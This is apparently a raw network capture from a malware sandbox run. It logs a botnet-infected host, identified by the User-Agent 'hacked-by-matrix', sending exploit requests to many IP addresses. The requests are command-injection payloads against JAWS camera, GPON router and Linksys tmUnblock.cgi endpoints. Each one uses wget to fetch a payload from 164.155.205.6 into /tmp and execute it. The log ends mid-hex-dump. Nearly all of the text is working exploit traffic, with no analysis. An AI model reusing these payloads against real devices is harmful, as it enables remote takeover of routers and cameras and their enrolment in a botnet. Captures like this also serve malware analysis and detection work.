Mar 2, 2024 12:37:57.770325899 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.23	58584	178.62.246.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.831029892 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.23	56364	52.10.4.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.867913008 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.23	36602	93.127.69.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.869133949 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.075100899 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Sat, 02 Mar 2024 11:37:56 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.23	36782	93.127.69.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.075097084 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:59.228291988 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:00.608040094 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:00.805280924 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Sat, 02 Mar 2024 11:37:59 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.23	43678	2.197.167.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080750942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.23	37026	42.198.23.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080790997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.23	33552	210.116.116.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080821037 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.23	36376	118.218.119.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080830097 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.23	57462	118.177.193.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080853939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.23	50528	212.146.206.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080864906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.23	39856	79.127.21.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080888987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.23	33822	2.133.185.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080893993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.23	60038	42.104.28.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080909014 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.23	36380	94.4.253.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080929041 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.23	33234	42.170.196.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080943108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.23	40092	2.55.13.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080948114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.23	51180	109.113.199.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080951929 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.23	48548	42.189.139.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080955982 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.23	47870	212.138.189.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.080998898 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.23	47806	212.193.149.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.081049919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.23	49930	2.204.138.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.081114054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.23	60600	104.207.140.226	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.471215010 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:58.578318119 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Sat, 02 Mar 2024 11:37:58 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 